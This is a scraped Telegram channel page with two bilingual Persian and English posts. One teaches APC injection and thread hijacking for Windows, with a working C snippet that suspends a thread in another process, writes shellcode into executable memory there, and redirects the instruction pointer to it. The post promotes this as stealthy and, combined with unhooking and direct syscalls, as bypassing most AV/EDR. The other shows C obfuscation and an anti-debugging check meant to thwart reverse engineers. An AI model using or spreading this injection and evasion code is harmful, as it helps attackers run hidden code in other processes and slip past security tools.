ReverseEngineering
1.25K subscribers
41 photos
10 videos
55 files
666 links
Download Telegram
💉APC Injection / Thread Hijacking

«کدت رو بچسبون به نخ زندگی یکی دیگه!» 🧵💉



تکنیک چی کار می‌کنه؟

APC Injection
یه تابع (مثلاً شل‌کد) رو می‌ذاری تو صف APC یه thread تا وقتی alertable شد اجرا شه
Thread Hijack یه thread از یه پروسه رو pause می‌کنی، مسیر اجراشو می‌فرستی سمت شل‌کدت و Resume می‌کنی


هر دوشون stealth هستن و توی حملات به شدت استفاده می‌شن.




روش اول: APC Injection

مراحل:

1 پیدا کردن یه thread تو پروسه هدف


2 تخصیص حافظه و نوشتن شل‌کد


3 استفاده از QueueUserAPC()


4 اگر thread alertable باشه، شل‌کد اجرا می‌شه



> این روش روی threadهایی جواب می‌ده که در حالت "alertable wait" باشن (مثل SleepEx, WaitForSingleObjectEx)



🚨 محدودیت:

AV
ها گاهی threadهای alertable رو زیر نظر دارن. برای اطمینان بیشتر بهتره خودت پروسه رو بسازی و بعد تزریق کنی.




روش دوم: Thread Hijacking (Hijack Thread)

ایده:

یه thread تو پروسه هدف pause می‌کنی مسیر اجرای CPU اون thread رو تغییر می‌دی به آدرس شل‌کدت بعد Resume می‌کنی.
بدون اینکه شکی ایجاد شه



💻 مثال ساده (C):

// فرض کن پروسه هدف رو قبلا پیدا کردی و handle داری
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);
SuspendThread(hThread);

CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);

// تخصیص و نوشتن شل‌کد در حافظه پروسه هدف (مثل قبل)
LPVOID shellcodeAddr = VirtualAllocEx(hProcess, NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, shellcodeAddr, payload, sizeof(payload), NULL);

// تغییر آدرس EIP/RIP به سمت شل‌کد
#ifdef _WIN64
ctx.Rip = (DWORD64)shellcodeAddr;
#else
ctx.Eip = (DWORD)shellcodeAddr;
#endif

SetThreadContext(hThread, &ctx);
ResumeThread(hThread);





🔐 چرا این تکنیک‌ها خفنن؟

هیچ CreateRemoteThread که راحت detect شه وجود نداره
inject شدن خیلی stealthy هست
اگر با unhooking و direct syscall ترکیب بشه، اکثر AV/EDRها رو کور می‌کنه



💉 APC Injection / Thread Hijacking

🧵 "Stick your code into someone else's thread of life!"

Both of these are stealthy code injection techniques frequently used in offensive security and malware development.




Method 1: APC Injection

🧠 What it does:
Places a function (e.g., shellcode) into the APC (Asynchronous Procedure Call) queue of a thread. When that thread enters an alertable state, your code executes.

🛠 Steps:

1 Find a thread in the target process


2 Allocate memory and write shellcode into it


3 Use QueueUserAPC() to queue the shellcode


4 If the thread becomes alertable, the code gets executed



⚠️ Note: Only works on threads in an alertable wait state — like SleepEx(), WaitForSingleObjectEx(), etc.

🚨 Limitation:
Modern AVs may monitor alertable threads. For higher stealth, it’s better to spawn the process yourself in a suspended state, inject, then resume.





Method 2: Thread Hijacking

🧠 Idea:
Pause a thread in the target process, change its execution pointer (EIP/RIP) to point to your shellcode, then resume it — silently.

💻 Basic C Example:

// Assume you've already obtained a handle to the target process and thread
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);
SuspendThread(hThread);

CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);

// Allocate memory and write shellcode in target process
LPVOID shellcodeAddr = VirtualAllocEx(hProcess, NULL, sizeof(payload),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, shellcodeAddr, payload, sizeof(payload), NULL);

// Redirect execution to shellcode
#ifdef _WIN64
ctx.Rip = (DWORD64)shellcodeAddr;
#else
ctx.Eip = (DWORD)shellcodeAddr;
#endif

SetThreadContext(hThread, &ctx);
ResumeThread(hThread);





🔐 Why These Techniques Are Powerful: No use of CreateRemoteThread, which is easily flagged
Stealthy and clean injection method
When combined with unhooking and direct syscalls, most AV/EDR solutions are completely bypassed
1
ساخت Obfuscator ساده با زبان C

🎯 هدف:

یاد بگیری چطور می‌شه یک برنامه‌ی C ساده رو به شکل سخت‌خوان گمراه‌کننده و ضد دیباگ دربیاری این کار باعث می‌شه یک تحلیل‌گر مهندسی معکوس به‌راحتی نتونه منطق اصلی کدت رو درک کنه




💻 مثال پایه: قبل از Obfuscation

#include <stdio.h>

int main() {
int a = 10;
int b = 5;
int c = a + b;
printf("Result: %d\n", c);
return 0;
}




🕳️ حالا بیایم این کد رو Obfuscate کنیم:

مرحله اول – جایگزینی متغیرهای معنادار با نام‌های بی‌معنی

int x1 = 10;
int x2 = 5;
int x3 = x1 + x2;


مرحله دوم – افزودن Junk Code

int trash1 = 123;
trash1 += 456;
trash1 -= 789;


مرحله سوم – کنترل جریان پیچیده

switch (x1) {
case 10:
if (x2 == 5) {
x3 = x1 + x2;
} else {
x3 = 0;
}
break;
default:
x3 = 0;
}


مرحله چهارم – اضافه کردن Anti-Debug (برای ویندوز)

#ifdef _WIN32
#include <windows.h>

void anti_debug() {
if (IsDebuggerPresent()) {
exit(1);
}
}
#endif


و صدا زدنش در main:

#ifdef _WIN32
anti_debug();
#endif





🔥 نسخه Obfuscated شده کامل:

#include <stdio.h>
#ifdef _WIN32
#include <windows.h>
#endif

#ifdef _WIN32
void anti_debug() {
if (IsDebuggerPresent()) {
exit(1);
}
}
#endif

int main() {
#ifdef _WIN32
anti_debug();
#endif

int x1 = 10;
int x2 = 5;
int trash1 = 123;
trash1 += 456;
trash1 -= 789;

int x3 = 0;

switch (x1) {
case 10:
if (x2 == 5) {
x3 = x1 + x2;
} else {
x3 = 0;
}
break;
default:
x3 = 0;
}

printf("Result: %d\n", x3);
return 0;
}




🔧 Building a Simple Obfuscator in C

🎯 Goal:

Learn how to turn a simple C program into something hard to read, misleading, and anti-debugging. This helps prevent reverse engineers from easily understanding the logic of your code.




💻 Basic Example: Before Obfuscation

#include <stdio.h>

int main() {
int a = 10;
int b = 5;
int c = a + b;
printf("Result: %d\n", c);
return 0;
}




🕳️ Now, let’s obfuscate this code:

Step 1 – Replace meaningful variable names with meaningless ones

int x1 = 10;
int x2 = 5;
int x3 = x1 + x2;


Step 2 – Add Junk Code

int trash1 = 123;
trash1 += 456;
trash1 -= 789;


Step 3 – Add Complex Control Flow

switch (x1) {
case 10:
if (x2 == 5) {
x3 = x1 + x2;
} else {
x3 = 0;
}
break;
default:
x3 = 0;
}


Step 4 – Add Anti-Debugging (for Windows)

#ifdef _WIN32
#include <windows.h>

void anti_debug() {
if (IsDebuggerPresent()) {
exit(1);
}
}
#endif

And call it in main:

#ifdef _WIN32
anti_debug();
#endif



🔥 Final Obfuscated Version:

#include <stdio.h>
#ifdef _WIN32
#include <windows.h>
#endif

#ifdef _WIN32
void anti_debug() {
if (IsDebuggerPresent()) {
exit(1);
}
}
#endif

int main() {
#ifdef _WIN32
anti_debug();
#endif

int x1 = 10;
int x2 = 5;
int trash1 = 123;
trash1 += 456;
trash1 -= 789;

int x3 = 0;

switch (x1) {
case 10:
if (x2 == 5) {
x3 = x1 + x2;
} else {
x3 = 0;
}
break;
default:
x3 = 0;
}

printf("Result: %d\n", x3);
return 0;
}
❤‍🔥31👍1